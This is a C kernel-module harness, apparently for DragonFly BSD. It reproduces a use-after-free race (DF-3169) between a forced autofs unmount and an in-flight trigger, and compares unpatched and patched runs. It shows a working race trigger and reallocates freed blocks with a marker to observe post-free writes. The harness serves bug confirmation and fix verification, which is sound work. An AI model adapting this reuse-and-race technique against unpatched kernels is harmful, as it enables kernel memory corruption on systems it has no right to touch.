DF-3169 / df3169_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 | /* * DF-3169 v3 — autofs umount -f vs in-flight-trigger UAF, VOP-path harness. * * The trigger is driven by a real USERSPACE stat() loop (started by * run.sh before kldload), so it enters through VOP_NRESOLVE -> * autofs_nresolve -> autofs_trigger_vn -> autofs_trigger exactly like * production lookups. This kld only: * 1. waits until the churn's first trigger request is on the TAILQ, * 2. calls the REAL dounmount(mp, MNT_FORCE, 0), * 3. re-allocates the freed amp/node blocks (same CPU magazine => * SAME-BLOCK reuse, marker 0x41 in amp) to make post-free * accesses observable, * 4. polls the freed node's an_retries and the sc_requests TAILQ. * * UNPATCHED expectation (see run.log): * dounmount returns in ~1-2 s (it freed everything while the stat's * trigger was parked in its 2 s retry gap), then: * DANGLING REQUEST ... ar_mount=<freed amp>; ar_from="AAAA..." * POLL: an_retries N->N+1 <== WRITE-AFTER-FREE (x many) * * PATCHED expectation (fix.diff: vfs_busy wraps the vop bodies; * see fix_run.log): * dounmount BLOCKS on mnt_lock EX until the stat's trigger exhausts * all 12 attempts (~36 s) -> dounmount_ticks is large, ZERO dangling * requests, ZERO post-free an_retries transitions. * * Prerequisites (root; run.sh does all of this): * kldload autofs * sysctl vfs.autofs.timeout=1 vfs.autofs.retry_attempts=12 \ * vfs.autofs.retry_delay=2 vfs.autofs.interruptible=1 \ * vfs.autofs.debug=0 * mount_autofs -f df3169 "" /df3169_mp * ( while :; do stat /df3169_mp/key >/dev/null 2>&1; done ) & * kldload ./df3169_race.ko */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/conf.h> #include <sys/mount.h> #include <sys/vnode.h> #include <sys/mutex2.h> #include <sys/kthread.h> #include <sys/sysctl.h> #include <sys/thread.h> #include <sys/thread2.h> #include <sys/types.h> #include <sys/queue.h> #include <vfs/autofs/autofs.h> extern struct mntlist mountlist; static struct mount *g_mp; static struct autofs_mount *g_amp; static struct autofs_node *g_anp; static struct autofs_mount *g_reuse_amp; static struct autofs_node *g_reuse_node; static int g_dounmount_ticks = -1; static int g_dangling_seen; static int g_waf_count; static int g_pre_umount_last_id; static void dump_str32(const char *tag, const char *s) { char buf[33]; int i; for (i = 0; i < 32; i++) { if (s[i] == 0) break; buf[i] = (s[i] >= 0x20 && s[i] < 0x7f) ? s[i] : '.'; } buf[i] = 0; kprintf("DF3169: %s=\"%s\"%s\n", tag, buf, i == 32 ? "..." : ""); } static int df3169_load(struct module *m, int what, void *arg) { struct mount *mp; int error; int last_retries; int i; switch (what) { case MOD_LOAD: kprintf("DF3169: harness loaded, scanning for autofs mount...\n"); TAILQ_FOREACH(mp, &mountlist, mnt_list) { if (strncmp(mp->mnt_stat.f_fstypename, "autofs", MFSNAMELEN) == 0) break; } if (mp == NULL) { kprintf("DF3169: ERROR: no autofs mount found; " "run run.sh first.\n"); return (ENODEV); } g_mp = mp; g_amp = VFSTOAUTOFS(mp); g_anp = g_amp->am_root; g_pre_umount_last_id = autofs_softc->sc_last_request_id; kprintf("DF3169: mp=%p amp=%p root anp=%p last_request_id=%d\n", g_mp, g_amp, g_anp, g_pre_umount_last_id); /* * Wait for the userspace churn's first trigger request to * appear on the TAILQ (stat -> nresolve -> trigger). */ for (i = 0; i < 50; i++) { struct autofs_request *ar; int have = 0; mtx_lock_ex_quick(&autofs_softc->sc_lock); TAILQ_FOREACH(ar, &autofs_softc->sc_requests, ar_next) have = 1; mtx_unlock_ex(&autofs_softc->sc_lock); if (have) break; tsleep(&g_waf_count, 0, "df3169_wait", hz / 10); } if (i == 50) { kprintf("DF3169: ERROR: no trigger request appeared; " "is the stat churn running?\n"); return (ENODEV); } kprintf("DF3169: churn trigger observed (ticks=%d); calling " "dounmount(MNT_FORCE)\n", ticks); error = dounmount(g_mp, MNT_FORCE, 0); g_dounmount_ticks = ticks; /* * UNPATCHED: returning here means autofs_unmount completed * -- every autofs_node and the autofs_mount are freed while * the stat thread is parked in its 2 s retry gap. * PATCHED: dounmount blocked on mnt_lock EX until the stat * thread's trigger finished; nothing is freed under it. */ kprintf("DF3169: dounmount returned %d (ticks=%d, " "dounmount_ticks=%d)\n", error, ticks, g_dounmount_ticks); /* Make post-free accesses observable (same-CPU magazines). */ g_reuse_amp = kmalloc(sizeof(struct autofs_mount), M_AUTOFS, M_WAITOK | M_ZERO); memset(g_reuse_amp, 0x41, sizeof(struct autofs_mount)); ((char *)g_reuse_amp)[sizeof(struct autofs_mount) - 1] = 0; g_reuse_node = objcache_get(autofs_node_objcache, M_WAITOK); kprintf("DF3169: reuse blocks: amp %p (freed amp was %p)%s, " "node %p (freed anp was %p)%s\n", g_reuse_amp, g_amp, g_reuse_amp == g_amp ? " SAME-BLOCK" : "", g_reuse_node, g_anp, g_reuse_node == g_anp ? " SAME-BLOCK" : ""); last_retries = -1; for (i = 0; i < 450; i++) { int cur = g_anp->an_retries; /* read freed memory */ int post = g_dounmount_ticks != -1 && ticks > g_dounmount_ticks; if (cur != last_retries) { if (last_retries != -1 && post) { g_waf_count++; kprintf("DF3169 POLL: freed anp=%p " "an_retries: %d -> %d (ticks=%d)" " <== WRITE-AFTER-FREE\n", g_anp, last_retries, cur, ticks); } else { kprintf("DF3169 POLL: anp=%p " "an_retries: %d -> %d (ticks=%d)" "%s\n", g_anp, last_retries, cur, ticks, post ? "" : " (pre-free/umount-busy)"); } last_retries = cur; } if (!g_dangling_seen) { struct autofs_request *ar; mtx_lock_ex_quick(&autofs_softc->sc_lock); TAILQ_FOREACH(ar, &autofs_softc->sc_requests, ar_next) { if (ar->ar_mount == g_amp) { kprintf("DF3169: DANGLING " "REQUEST ar=%p id=%d " "ar_mount=%p == FREED amp " "(ticks=%d, dounmount_" "ticks=%d)\n", ar, ar->ar_id, ar->ar_mount, ticks, g_dounmount_ticks); dump_str32("ar_from", ar->ar_from); dump_str32("ar_path", ar->ar_path); g_dangling_seen = 1; break; } } mtx_unlock_ex(&autofs_softc->sc_lock); } tsleep(&g_waf_count, 0, "df3169_poll", hz / 10); } kprintf("DF3169: SUMMARY dounmount_ticks=%d dangling=%d " "write_after_free_transitions=%d last_request_id %d -> %d\n", g_dounmount_ticks, g_dangling_seen, g_waf_count, g_pre_umount_last_id, autofs_softc->sc_last_request_id); if (g_waf_count == 0 && g_dangling_seen == 0) kprintf("DF3169: CLEAN - no post-free access " "(fix active?)\n"); else kprintf("DF3169: UAF CONFIRMED - post-free accesses " "observed\n"); objcache_put(autofs_node_objcache, g_reuse_node); kfree(g_reuse_amp, M_AUTOFS); return (0); case MOD_UNLOAD: return (0); default: return (EOPNOTSUPP); } } static moduledata_t df3169_mod = { "df3169_race", df3169_load, NULL }; DECLARE_MODULE(df3169_race, df3169_mod, SI_SUB_PSEUDO, SI_ORDER_ANY); MODULE_DEPEND(df3169_race, autofs, 1, 1, 1); |